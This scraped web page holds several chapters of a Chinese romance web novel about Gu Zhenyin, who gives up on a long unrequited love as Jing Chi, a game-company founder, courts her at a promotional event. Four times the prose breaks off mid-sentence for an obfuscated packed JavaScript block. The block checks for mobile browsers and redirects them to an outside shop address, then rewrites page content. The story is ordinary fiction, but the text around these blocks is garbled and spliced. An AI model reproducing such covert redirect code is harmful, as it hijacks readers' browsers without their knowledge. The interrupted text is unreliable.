d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223098|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿琛说这个玩偶是你挂上去的,但我觉得不太好看,打算换新的,你应该不介意吧?】 夏霜的IP已经变成江城,想来她和景逸琛已经离开北城,而夏霜的称呼从“景总”换成了“阿琛”,字里行间都透露着两人的亲密,顾蓁音不可能感觉不到。 挂在车上的这个玩偶,是顾蓁音亲手做的,当时她小心翼翼地挂在景逸琛的车上,景逸琛却沉默地拧着眉,让她把玩偶摘下。 顾蓁音很固执,坚持要把玩偶挂在他的车上,本以为景逸琛之后会摘下来,但意外的是,这个手工的小玩偶,一直挂在他的车里,没有再摘下来。 这个小小的发现,让顾蓁音偷偷开心了好久好久。 她的小心思很简单,她希望景逸琛每看到这个小玩偶的时候,都会想起她。 她想带着关于她的事和物,悄无声息地侵占景逸琛的生活,等他后知后觉发现,他的世界里,她无处不在,他就会不知不觉喜欢上自己。 所以每当看到摇晃的小玩偶,顾蓁音的心情都会很好,在某天,她鼓起勇气问景逸琛:“你为什么没有摘下这个玩偶?” 景逸琛看了眼后视镜上的玩偶,语气很淡:“习惯了,懒得摘。” 顾蓁音当时自认为他是口是心非,但现实却很残酷,在漫长的七年里,她一直费尽心思去寻找他喜欢她的蛛丝马迹,他偶尔的关心照顾,没有摘下来的玩偶,其实都只是一些似是而非的错觉,因为这些错觉,支撑她自欺欺人到现在。 这个玩偶,他应该真的只是懒得摘。 生日的事,顾蓁音也不想再旧事重提,没有意义,他和夏霜的关系,她也不想再关心。 景逸琛不喜欢她,她也不可能勉强,是她单方面喜欢他,暗恋的一方,永远低人一等,她更不可能去指责对方为什么不喜欢她,不喜欢就是不喜欢,他在这件事上,确实没有错,所以她没有什么后悔的。 暗恋一场,她已经做好了满盘皆输的准备。 现在的她,确信自己要放弃景逸琛了。 顾蓁音指尖轻敲,回了句:【不介意。】 想了想,她又补了句:【恭喜,早生贵子。】 - 星澜互娱总部二十楼,宽敞明亮的会议室内,幕布的光莹莹亮着,会议室内只有寥寥几个人。 景驰坐在主位,听着台上的人讲话。 季淳站在台上,一边用翻页笔翻PPT,一边讲接下来的安排:“最近我们和短视频平台d站有个联动宣传活动,邀请了不少网红博主参加,届时会线上直播,地点定在在嘉桐镇,活动时间在下周,我们这边也要派管理层代表过去。” 季淳操作电脑,在幕布播放PPT:“这是d站那边邀请的达人博主,大家看看。” 景驰长腿交叠,单手支颐,显然兴趣缺缺,他的目光不经意落在幕布上,却停住了。 ——@咖啡音音 美食领域,粉丝346.7W 景驰突然出声:“我们这边要派谁过去?” 季淳看向景驰,继续道:“我知道,你对这种宣传活动向来不感兴趣,所以我打算安排周于承和我过去……” 景驰突然他打断季淳的话:“谁说我不感兴趣了?” 他屈指敲了敲桌面,站起身。 “活动,加我一个。” 10. 活动 景驰干脆利落地拍板决定,就拿起手边的文件:“好了,散会。” 景驰拿起手边的文件,起身离开会议室,徒留其余众人面面相觑。 有人实在按捺不住好奇,问季淳:“小季总,小驰总这是……转性了?” 会议室内的大家,都是在星澜打拼多年的老人,自然熟悉景驰的秉性。 景驰是计算机学硕出身,在技术水平上,强得无可指摘,在公司里,他也主要负责研发,运营方面,一直很少参与,更不必说这种需要露脸的宣传活动。 季淳却很清楚:“哪里是转性了,是小孔雀准备开屏了。” - 傍晚时分,顾家别墅庭院里的复古路灯一盏盏亮起,在暮色中笼出一团团光影。 顾蓁音刚刚吃完那一盏燕窝,别墅外传来汽车引擎的声音,陈阿姨的声音随之传来。 “先生和夫人回来了。” 话音刚落,顾蓁音一抬头,就看到母亲梁筝一脸心疼地走过来:“音音,怎么瘦了这么多?” 顾观和梁筝都一脸隐晦地进行眼神交流,自家小女儿肯定是因为在景逸琛那里碰了壁,受了情伤才茶饭不思。 顾蓁音眨眨眼:“我没有瘦啊,我昨天才刚刚称了体重。” 父亲顾观轻咳一声,故作严肃接过话茬:“肯定是体重秤出问题了。” 梁筝附和:“就连你爸这种直男都看出你瘦了,那肯定是瘦了。” 面对父母的强词夺理,顾蓁音无言以对。 梁筝心疼看着顾蓁音,试探问道:“是因为……景逸琛?” 顾蓁音有些头疼,怎么一个两个都在提起他? 她有些无奈答道:“妈,不是因为他。” 但父母一脸“我不信”,顾蓁音也知道他们是担心自己,也不想再和他们争论,她正好看到准备端菜上桌的阿姨,立刻转移话题:“爸妈,你们刚刚回来,肯定饿了,先吃饭吧,我先上楼了。” 梁筝:“你晚饭不吃了?” 顾蓁音急着逃离:“不吃了,你们慢慢吃。” 眼见顾蓁音的身影消失在楼梯转角,正巧顾韫珠也回来了,她看见一脸忧愁的父母,不由问:“怎么了爸妈?” 梁筝叹了口气:“还不是担心你妹妹。” “看她这幅样子,肯定还没放下景逸琛。”梁筝自言自语,随后又看向大女儿,“怎么办?要不要再安排些青年才俊转移音音的注意力?” 顾韫珠洗了手,气定神闲地坐在餐桌前,优雅地吹着碗中的汤,安慰着急上火的父母:“爸妈,先不用急。” 梁筝:“我能不急嘛?我早就看景逸琛那小子不爽了,但偏偏音音就是喜欢他,难道要眼睁睁看着你妹吊死在景逸琛这棵树上?” 她很自责:“要不是当年我和你爸在外地扩展市场,你又在国外读书,只能把音音一个人留在北城,她又只是个处于青春期的小姑娘……” 话说到一半,她重重叹了口气,悔不当初。 顾观点头:“既然景老爷子同意音音选择解除这个婚约,改日我和你妈妈还是亲自去景家一趟,正式把这个婚约解除了,省得看着烦心——” 顾韫珠打断父母的话:“爸妈,别急着取消婚约,景逸琛不愿意娶,但自然有人愿意,毕竟景家能娶音音的人,又不止景逸琛一个。” 梁筝顿住,她迟疑道:“你是说……小驰?” 见父母不太相信,顾韫珠顺便放出个重磅消息:“昨天晚上送音音回家的人,是景驰。” “我猜,他想娶音音。” 顾家父母愣住。 - 二楼房间内,顾蓁音正靠在沙发上,现在是八月底,随着她的粉丝体量不断扩大,她的工作内容不局限于接线上推广,她偶尔也会参加一些线下活动,按照惯例,她需要提前和宋悠可确定下个月的工作行程安排。 “可可,我们接下来有什么工作安排吗?” 宋悠可:“有的,我们下周要去嘉桐镇参加d站的线下活动——嘉桐寻宝之夜,是d站和手游《星境乐园》联动举办的活动。” “这次活动邀请了不少大V博主,还有媒体记者,主要是为了庆祝手游《星境乐园》五周年,主办方那边已经把活动内容安排发过来了,我们美食类博主会安排小摊位,主办方需要我们制作一些游戏角色相关的周边小点心,在活动现场摆摊宣传。” 顾蓁音忍不住出声:“是《星境乐园》的联动活动?” 宋悠可很兴奋:“对,老板,你应该知道这个游戏吧,特别火,我和小纯都在玩,去年我们还在江城的时候,我还让你帮我们抢游戏的联名周边呢!没想到有一天,我还能参加《星境乐园》的联动活动!” 顾蓁音当然知道,她还知道,这是景驰公司旗下的手游。 她打开宋悠可发来的需求文件,果然在主办方那一栏,看到了熟悉的公司名字——星澜互娱。 不知道是不是错觉,好像自从她这次回到北城后,和景驰的牵扯就莫名其妙多了起来。 难道是景驰的安排? 很快,顾蓁音就理智地将这个可能排除,这个活动安排,是两个月前d站那边发来的邀请,应该和景驰无关,而且只是一个联动宣传活动,景驰是星澜互娱的最大股东兼老板,他这种日理万机的大忙人,应该不会出现在活动现场。 应该一切都只是巧合而已。 “老板,你还在听吗?” 宋悠可的声音从手机传来,顾蓁音思绪回笼,才意识到自己还在和助理通着电话。 “嗯嗯,我在听,那我先研究研究活动当天准备的点心,正好也可以做下一期的视频素材。” 顾蓁音这个人对于工作算是比较认真,既然接了这个游戏的线下推广,她肯定要去亲自体验游戏。 为此,顾蓁音下载了游戏,为了避免玩不明白,她还专门去搜索了相关的新手攻略,大致做了功课,顾蓁音点开游戏界面,一开始会有一个引导的小吉祥物,是一个白色的小团子,叫oo。 听说这个吉祥物可以互动,顾蓁音出于好奇,她伸手点了点小团子,小团子会很不高兴地避开:“我们才认识一天,不要对我动手动脚。” 小团子说话的语气,莫名让顾蓁音想起景驰。 她对于小时候的景驰没什么印象,真正有印象的时候,是高二的时候,景驰搬到老宅小住,她才对景驰开始有了具体的认识。 一开始的景驰很高冷,她有时候不小心碰到他的手,景驰就像是触电般立刻缩回去,这让顾蓁音一度认为,景驰很讨厌她。 不愧是景驰研发的游戏,很有景驰的风格。 连续玩了两天,顾蓁音大致了解了游戏里的角色,她也做了方案,打算做几款手绘小饼干和吉祥物糯米糍。 她翻遍了网络,实在不知道这个吉祥物到底是什么物种,但oo看上去很像糯叽叽的糯米团子,她打算把吉祥物做成糯米糍。 至于内馅,顾蓁音定了两种,一种是红豆,一种是绿茶。 顾蓁音在平板上,写上制作方案。 这次活动很正式,顾蓁音准备得比较充足,在活动前一天,顾蓁音带着两个助理前往嘉桐镇,因为这次活动很盛大,d站那边准备很齐全,给各个需要摆摊的没事博主提供了酒店和烘焙工作室,供顾蓁音这些博主现场制作一些不容易保存的点心。 顾蓁音先提前做好手绘饼干,随后开始动手做糯米糍,忙了一整天,一直忙到晚上,顾蓁音和两个助理将糯米糍一个个包装好,放入冰箱保存,除了糯米糍,顾蓁音另外安排了手绘的小饼干。 活动第一天,照例先是主办方讲话,被邀请的博主媒体坐进准备的会议厅里,等待活动开始。 灯光变暗,会议厅突然出现一阵骚动,闪光灯的声音急促如雨点,媒体记者像是接收到什么信号,纷纷对着被簇拥在中间的人狂拍。 顾蓁音循声望去,只见人影错落间,她看清了那人的脸。 男人身形颀长,身着黑色廓形西装,内搭是同色T恤,休闲却不失得体,露出一截冷白如玉的脖颈,光线昏昧,他抬首,似有所感般朝她的方向看来,遥遥往来的视线,在闪光灯的闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223099|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁中,像是漫不经心的睥睨。 是景驰。 宋悠可和苏纯见过景驰,此时她们震惊得瞳孔地震,僵硬地看向顾蓁音,表情明晃晃写着迷茫。 “不是,老板,你的朋友,居然是星澜互娱的老板?!!” 顾蓁音也很震惊,她没想到景驰会出现在这里。 但比起宋悠可她们的惊讶,景驰的现身,直接掀起了极大的讨论声,几人的对话直接被周围人的嘈杂激动掩盖。 “那是哪个明星网红吗?好帅!” “好像没见过啊……这种神颜不火天理难容好吧。” “什么明星网红,那是星澜互娱的老板。” “这么帅的吗!完全可以去娱乐圈了。” “又帅又有钱,上帝到底为他关上了哪扇窗……” “这种颜值,星探应该来堵人才对。” “太夸张了吧……” 顾蓁音在心里默默接了句不夸张,毕竟景驰真的被星探围追堵截过。 高二的寒假,顾蓁音需要上补习班,但景逸琛没时间去接她,当她接她回家的人是景驰。 当顾蓁音从补习班出来时,就看到景驰站在路边,冬天的北城路边,积着一层薄薄的雪,周遭色彩是单调的白黑灰,景驰穿了件驼色大衣,像是屹立在路边的一抹亮色,格外打眼,他身边却多了个陌生男人,似乎在和他热络地交谈什么,只是景驰态度很冷淡,目光始终锁定在补习班门口,没有什么回应。 他看到她走出补习班,抬步朝她走来,男人也跟着景驰过来。 直到景驰走到她身边,男人一转头,见到顾蓁音,眼前一亮又一亮:“帅哥,你女朋友外形条件也很好,要一起签我们公司吗?” 顾蓁音没反应过来:“什么?” 景驰却很愉悦地笑了,他朝顾蓁音扬了扬下颔:“他说他是星探,问你要不要考虑一下当明星?” 顾蓁音暂时没有心思纠结对方误会她和景驰是情侣,她当时第一时间只觉得这个人是骗子,装成星探来骗人,所以很警惕:“这是骗子吧?” 男人当场叫屈:“美女,我可是正儿八经的星探,这是我的工作证明,这些都是我挖掘的明星,你们可以看看。” 对方拿出工作证证明,证明他的确是星探。 当时顾蓁音还在追星,大致了解娱乐圈小有名气的公司,对方的公司也正好在其中,是顾蓁音听过的名字。 星探见顾蓁音半信半疑,继续趁热打铁:“怎么样?有没有兴趣成为艺人?” 星探看着他们俩,对两人的样貌格外满意,但却突然来了句:“不过成为艺人之后,你们私底下尽量少见面。” 景驰挑眉问:“为什么?” 星探疑惑道:“你们俩不是情侣吗?你们签了公司以后,成了我们公司的艺人,对外只能是单身人设,谈恋爱不能被人发现。” 景驰莫名揪住话中的重点:“不能谈恋爱?” 星探愣了下:“对。” “那不行,我这个人恋爱脑。”景驰态度很拽,他看向顾蓁音,“一天见不到我女朋友,就浑身难受。” 被当作挡箭牌的顾蓁音:“……” 当时星探的脸色可以用精彩纷呈来形容,顾蓁音只觉得他的脸上恨铁不成钢地写着四个大字——死恋爱脑。 但或许星探真的很喜欢景驰的脸,最后他还是递给景驰一张名片,有些恋恋不舍:“帅哥,如果你改变主意可以随时联系我,我保证,我绝对能让你在娱乐圈大红大紫!” 等星探离开,景驰漫不经心把玩着那一张薄薄的名片,随后将那张名片夹在他修长如玉的指间,他随手将那张名片一甩,名片在半空滑行,精准飞进垃圾桶。 顾蓁音见他把名片扔了,不由多问了句:“你不考虑一下吗?” “考虑什么?” 他掀起眼皮,优越精致的眉骨被阳光镀上一层淡淡阴翳,衬得他五官轮廓愈发凌厉立体,他的目光很直白地落在她脸上,嗓音轻轻慢慢。 “我不是说了吗?我恋爱脑,当不了一点。” 11. 投资 顾蓁音被晃过的摄像机拉回思绪,台上的主持人先感谢了这次活动的两大主办方,随后是d站的高管上台讲话,高管看起来文质彬彬,不过三十多岁的人,也保养得宜,但对比起景驰珠玉在前,显然就有些相形见绌了。 景驰上台时,观众席还是发出了极轻的骚动和吸气声,不少人拿出了拍摄设备,闪光灯闪动的频率似乎都要比平时急切很多。 虽然景驰很少出现在公众的视野里,但此时面对数量庞大的观众,他也依旧游刃有余。 站在台上的他身躯挺拔,休闲的西装将他的身形修饰得很好,却又还带保留着几分少见的少年感。 景驰只是简单介绍了游戏的过去,以及对未来技术的改进展望,并没有说太多冗长的发言。 很快到了提问环节。 星澜互娱成立至今,已经六年有余,但背后的最大股东兼创始人景驰,算是第一次正式出现在众人的视野里。 对于这个年仅24岁,就创立了数十亿游戏商业帝国的年轻人,大家显然是好奇更多。 所以提问环节,实在太多人想要跃跃欲试。 主持人随机点了个记者,记者站起来,语气很兴奋地提问:“小驰总,听说《星境乐园》的初版曾在上线前夕夭折,与投资方的对赌失败,您也为此支付了天价赔款,你从这件事上得到了什么?” 一上来就问了个有些尖锐的问题,但景驰神色如常,他施施然回答:“得到了教训。” “但能度过这次难关,我和我当时的团队经历很多,但也幸运,遇到了很多伯乐和贵人。” 他话锋一转:“除此之外,我要感谢一位很重要的人。” “在我本科大三时,我准备转型做手游,当时创业遇到了很多困难,因为出了些状况,当时的游戏项目在发布内测前,意外夭折,我的一个朋友以她家人的名义,偷偷给我投资了一百万。” 顾蓁音心脏狂跳一瞬,随即是无序的紧张,这件事,景驰居然知道,他什么时候知道的? 这个念头一冒出,顾蓁音有些懊恼,也是,景驰这么聪明,应该从一开始就已经猜到是她。 提问的记者似乎很关心这些个人私事,他继续追问:“这位天使投资人帮了您这么多,您不应该有所表示吗?例如以身相许。” 最后一句话引起大家戏谑的笑声,景驰的嘴角也噙着一抹松松懒懒的笑,他举起话筒,目光像是有实质般,穿越茫茫人潮,精准地落在顾蓁音的脸上,眼底是清浅的笑意。 “我正在努力,希望这位天使投资人在将来能给我一个以身相许的机会。” 景驰干净磁性的声音透过话筒传到会议厅的每处角落,景驰的音色清朗干净,像是被水汽浸润过,多了几分柔和,格外抓耳,他的语气戏谑带笑,让人一时分辨不出话语的真假。 台下的大家也传来暧昧善意的笑声,虽然景驰没有指名道姓,但顾蓁音心知肚明他说的人是谁,这些笑声落在她的耳中,多少带着些不一样的意思,将她的脸一点点染上热意。 宋悠可好奇:“老板,你的脸怎么这么红?” 顾蓁音拿起手边的宣传册,假意扇了扇风:“是吗?可能这里有点太闷了。” 眼见记者还要继续,顾蓁音真的有些坐立难安,她生怕再听到什么离谱的话,转头悄悄地对宋悠可说:“我去趟洗手间,顺便透透气,你和小纯在这儿待着。” 交代完毕,顾蓁音就悄无声息地离开会议厅。 洗手间内没有人,这里是走廊最尽头,隔绝了外界大部分声音,远离了喧嚣,她只能隐约听到淅沥掌声,潺潺水流划过她的指尖,顾蓁音垂眸,有些出神。 空气中浮动另一种清淡的柑橘草木香,很淡,却霸道地压制了洗手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223100|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间先前的香氛。 顾蓁音眼睫微动,她看着镜子,才发现身后不知何时出现一抹黑色西装衣角,景驰靠在墙上,在宽大干净的镜子里,和顾蓁音四目相对。 “天使投资人,怎么一个人躲在洗手间?” “天使投资人”这五个字,被景驰着重强调,他的尾音勾着微小的笑意,像是细碎的软羽扫过,落下难以言喻的酥麻。 想起之前自己的所作所为都被景驰发现,顾蓁音的耳尖再次羞耻地红了,她声音有些紧绷:“你是什么时候知道的?” 景驰不偏不倚地直视她:“你觉得呢?” 顾蓁音的皮肤很好,所以妆容打得很轻薄,在洗手间柔和的灯光下,几乎看不出一丝瑕疵,眼睫纤长浓密似鸦羽,眼尾扫过淡淡杏粉色,自然如皮肤透出的绯红,少女灵动。 她从小就长得很美,又很爱美,所以身边的好友都喜欢叫她“公主”。 “你应该一开始就猜到了吧。”公主此时耷拉着小脸,语气恹恹,“到最后,只有我一个人傻傻地被蒙在鼓里。” “音音公主。”他抬了抬眉梢,他双手插兜,向前几步,“你难道就不怕我最后赔得血本无归吗?” 顾蓁音幽幽叹了口气:“都说是风险投资,这点风险我不至于承担不起,即使你最后赔得血本无归,景小驰,我只会友情建议你还是换个赛道,可能搞学术科研更适合你。” 她又补充道:“如果你真赔了,我会把你送去娱乐圈闯荡一圈,把我的钱给我赚回来,凭着你这张脸,你肯定能混得风生水起。” “但以上都是假设。” 顾蓁音用她那双澄澈无暇的眼眸看着他,眸底没有掺杂一丝假意:“你现在不是没有输吗?” “是。”景驰意味深长,他势在必得地弯了弯唇。 “无论什么,只要我想,我会一直赢。” 12. 爱你(小修) 季淳和周于承进了专门准备的贵宾室,见到景驰正坐在沙发上,正低头看着手机。 季淳给景驰递过去一瓶水:“你上热搜了,知道吗?” 周于承感叹:“早知道景驰的脸这么能打,我们就应该多让景驰出来,游戏的话题度不就一下子有了吗?” “谁家游戏公司是靠营销老板的颜值起来的?”景驰拧开矿泉水,他掀起眼,语气有些倦懒,似乎情绪不高,“麻烦各位干点正事儿行不行?小心一会我通通发配你们到海外,开拓海外市场。” 不明情况的周于承问:“怎么了?因为热搜的事心情不好?” 干净的光线斜斜镀在景驰的手背上,衬得手指修长如玉,手背蜿蜒着淡色青筋,骨节分明,他漫不经心地把玩着矿泉水瓶,答道:“没有。” 季淳却一语道破:“我们驰心情不好,是因为开屏失败了吧。” 周于承开玩笑:“你在采访里说的那些是真的?人家如果真的帮了你这么多,那你真的应该以身相许了。” “我倒是想。”景驰的手指轻轻捏着矿泉水瓶,晃了晃,他抬眼,“那也得人家给这个机会才行,人家不喜欢我,就算我洗干净躺她床上都没用。” “怎么会不愿意?”季淳逐条分析,“愿意在你最困难的时候,偷偷投资你;以为你被家里断了生活费,还每个月偷偷打钱接济你,我觉得她对你很特别,她很可能喜欢你。” 景驰靠坐在椅子上,笑了:“那是你不了解她,无论是哪个朋友遇到这种情况,她都会这样做。” 因为顾蓁音本身就是很好的人。 他见过顾蓁音真正喜欢一个人的样子,自然不会自作多情把她的善良好意误认为是喜欢。 - 活动现场很热闹,人声鼎沸,可以看出这次的活动策划得很用心,游戏的易拉宝和宣传海报随处可见,甚至还有各种游戏周边抽奖,在活动现场飘扬,除此之外,有穿着Q版角色玩偶服的工作人员和大家互动,还有各种游戏角色的coser。 顾蓁音所在的区域是美食街,她被分配到一个摊位,供大家领取自己制作的点心。 顾蓁音和助理们把糯米糍和手绘饼干摆放整齐,因为顾蓁音在各个平台算是小有名气的博主,所以有不少人专门过来她的摊位,和她合照。 顾蓁音做的糯米糍和饼干味道很好,不到两个小时,准备的点心就已经所剩无几。 估计再过一会,就能全部派发完毕,所以顾蓁音包揽了看守摊位的工作,让两个助理去逛逛。 苏纯问顾蓁音:“老板,你不去逛逛吗?” 顾蓁音摆摆手,她最怕大太阳:“太阳太大,我不去。” 可能是这次活动的美食摊位比较多,大家的选择很多,到最后,顾蓁音始终剩余几个糯米糍和饼干没有派发出去,为了营造美食街的氛围,美食摊位设在露天,此时太阳有些毒辣,虽然摊位有遮阳伞,但遮挡太阳的效果收效甚微,顾蓁音只想赶紧把剩下的饼干和糯米糍全部送出去。 阳光下,有一群人正朝这边走来,顾蓁音辨认一下,从中看到了熟悉的身影。 景驰作为主办方之一,在d站的高管陪同下,亲自逛了整个活动现场,一群人簇拥着,缓缓向顾蓁音的摊位走来。 景驰停在她的摊位前,有工作人员介绍:“小驰总,这边是我们美食领域博主的摊位。” 景驰拿起顾蓁音摊位上的糯米糍:“这是我们的吉祥物oo?” 顾蓁音有些不好意思:“对,我没查到oo的原型是什么,只觉得很像糯米糍,就直接做成糯米糍了。” 景驰看了眼顾蓁音,她皮肤娇嫩,瓷白的小脸已经被晒得有些红。 他放下糯米糍:“挺有创意的,剩下的我可以全部给我项目组的团队工作人员尝尝,麻烦了。” 顾蓁音愣住了,他就这样把剩下的糯米糍包圆了? 早在一起住在老宅的时候,她也很喜欢在厨房做些好吃的,她本质是想做给景逸琛的,但景逸琛一般很少接受她的心意,所以大部分都景驰帮忙解决。 没想到现在也一样。 等她回过神来,景驰等人已经走远,但手机里却多出一条来自景驰的消息。 景驰:【要是想休息,可以去我的休息室待一会儿,我让我的助理带你过去。】 顾蓁音实在是热得有些难受,没有推脱:【好。】 片刻,就有个年轻男人出现在顾蓁音面前,顾蓁音粗略辨认出来,他刚刚也在景驰身边,应该是景驰说的助理。 “顾小姐,我是小驰总的助理,我带您去休息。” 他主动帮顾蓁音把摊位的东西收拾好,顾蓁音的摆摊任务正式结束,终于摆脱了毒辣的太阳,她在微信上和两个助理打了招呼,跟着助理前往景驰的休息室。 休息室内还有其他两人,感知到有人进来,他抬头看向顾蓁音。 助理和两人打招呼:“小季总,小周总。” 季淳和周于承有线上工作临时要处理,没有跟着去逛活动现场,当看到顾蓁音的第一眼,周于承有些瞳孔地震,他立刻和季淳暗中交流眼神,两人确定过眼神,他们都在景驰的工位上见过顾蓁音的照片。 季淳上次剐蹭了顾蓁音的车,自然认识顾蓁音,但上次走得比较急,没有和顾蓁音做详细的自我介绍,他这次总算是补上了:“顾小姐,上次比较匆忙,没有自我介绍,这次正式介绍一下,我是景驰的大学同学兼合伙人,季淳。” 话音刚落,一旁的周于承也站起身:“你好,我是周于承,一样也是景驰的大学同学兼合伙人。” 顾蓁音也礼尚往来地自我介绍:“你们好,我是景驰的发小,顾蓁音。” “只是发小啊……”周于承一脸好奇,“顾小姐,你和景驰从小就认识?” 顾蓁音:“差不多,我家和他家是世交。” 周于承和季淳一脸意味深长。 但景驰的四人工作群内,远远没有表面那么平静。 周于承:【景驰!】 周于承:【这个漂亮妹妹!我见过!你的工位上,放的是她的照片对不对!】 周于承:【有生之年,我居然能见到真人!】 四人群里,只有远在外地的许露织不明白情况:【你们在聊什么?】 周于承:【景驰的白月光,许师姐感兴趣吗?】 周于承:【特别漂亮!真的特别漂亮!不夸张!和我们驰配一脸!】 许露织:【景驰还真有白月光?那张照片我还以为他用来挡桃花的,居然是真的有这个人?】 周于承:【有,现在就和我们在一起,特别漂亮,人也很温柔,我们驰的眼光就是好。】 季淳:【而且这个漂亮妹妹,曾经还是我们的天使投资人。】 许露织:【这么精彩!我就不应该在日本出差,我应该和你们一起吃瓜。】 一群人直接在工作群八卦起来,完全不避着景驰这个当事人,景驰只是扫了眼聊天记录,就看向面前还在介绍的高管:“陈总,我还有事要忙,先失陪了。” 高管立刻道:“好的小驰总,您先忙,我晚上和其他友商朋友组了个局,您一定要到场。” 景驰笑了笑:“一定。” 景驰推开贵宾休息室的门时,季淳正在夸奖顾蓁音的手艺。 “顾小姐,你做的oo糯米糍很好吃,不过你是怎么想到是糯米糍的?” 顾蓁音有些不好意思:“对,我没查到oo的原型是什么,只觉得很像糯米糍,就直接做成糯米糍了。” “oo的原型其实我们也不太清楚。”季淳看向景驰,“oo是景驰设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16223101|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计的,这个问题,你得去问景驰。” “你没猜错。” 景驰斜倚在门边,他扬了扬下颔:“原型就是糯米糍。” 顾蓁音愣住了:“……这么随便的吗?” 就这样让她误打误撞猜对了?她完全怀疑景驰只是顺着她的话,在满嘴跑火车。 景驰笑了声:“可能我和糯米糍比较有缘分吧。” 景驰看了眼糯米糍:“为什么你做的内馅是绿茶?” 顾蓁音解释道:“因为我有个大粉,就叫绿茶糯米糍,我就顺手做了她名字的糯米糍。” 景驰有样学样地问:“这么随便的吗?” 顾蓁音:“……” 景驰像是被她的小表情逗笑,他问:“你晚上有安排吗?” 顾蓁音点头:“有,我晚上要请粉丝吃饭。” 这次活动,每个博主都有邀请粉丝参加活动的名额,顾蓁音在粉丝群抽了十个粉丝,报销机酒,邀请她们来参加活动,她也和这十个粉丝约定好,晚上请她们吃饭。 景驰“嗯”了声:“那晚上注意安全,有事找我。” - 顾蓁音回到安排的民宿酒店,洗澡化妆,换了一条芭蕾风连衣裙,顾蓁音向来精致,为了让整套穿搭最合适完美,她搭了珍珠项链,还搭了一双细跟玛丽珍。 两个助理熟悉自家老板的爱美天性,没多说什么,就一起前往预定好的餐厅。 顾蓁音很大方,请吃饭的地方是小镇上有名的高级餐厅,面对一群叽叽喳喳的小姑娘,她是有求必应,要什么点什么,十分豪气。 吃饭时每个人还要合照,顾蓁音很耐心地配合每个粉丝找角度合照,一顿饭在各种拍照聊天中,从下午五点吃到将近晚上八点半。 被请吃饭的粉丝拍了不少照片,发在顾蓁音的粉丝群里,引起不少没能来的粉丝羡慕嫉妒。 绿茶糯米糍显然也看到群里的照片了,发来消息问:【在和粉丝吃饭?】 流泪咖啡因:【对,如果你能来现场就好了,我今天准备了绿茶糯米糍,可以尝尝我做的你。】 说起来,她和绿茶糯米糍认识这么多年,但却从来没有机会见过面。 顾蓁音曾经提起过,什么时候可以线下见一面,她请她吃饭,但糯米糍那边的理由是她工作很忙,经常各个城市到处出差,时间不自由。 这个理由显然很站不住脚,但顾蓁音也没有勉强她的意思,也没有揭穿对方的借口,毕竟不是每个人都喜欢线下见面的,说不定糯米糍有些社恐,她可以理解。 所以顾蓁音只是提了一两次,就没有再说过线下见面的事。 绿茶糯米糍:【好好吃饭,别和我聊天了。】 顾蓁音以为绿茶糯米糍在不开心,她立刻对着她说好话。 流泪咖啡因:【放心,这么多粉丝里,我最爱的只有你,糯米糍老婆。】 流泪咖啡因:【猫猫比心·jpg】 对方的顶部一直显示“正在输入中”,这一行字不断消失,再重现,似乎删删改改好多次,糯米糍才发来消息。 绿茶糯米糍:【爱我就够了,叫我老婆就免了。】 在视频评论区下,糯米糍会跟着评论区里的其他粉丝叫她“老婆”,但在私聊的时候,糯米糍却会刻意回避这些比较亲密的称呼,对方好像不太喜欢这个称呼。 往常顾蓁音也会和糯米糍开玩笑,但现在看到这句话,她有一瞬间感到耳根泛红。 这句话说得多少有些过于暧昧了。 顾蓁音在心里默念三遍糯米糍是女孩子,才压制住心中那种奇奇怪怪的感觉。 顾蓁音正要打字回复,叮咚一声,另一人的消息弹出,是一个十万的转账,来自景驰。 景驰:【聚餐报销,晚上注意安全,有事给我打电话。】 13. 彩头(已补齐三千) 嘉桐镇是有名的商业古镇,晚上的夜生活也很热闹,各种小店酒吧招牌灯渐次亮起,水道纵横交错,河面上的乌篷船摇摇晃晃穿过石拱桥,游客们欢声笑语,夜游古镇,船夫手持细细竹竿缓慢划过,搅碎了一池弯月。 餐厅的位置很好,可以俯瞰古镇夜景,但在这个美好的晚上,粉丝中却有人临时接到了加班任务。 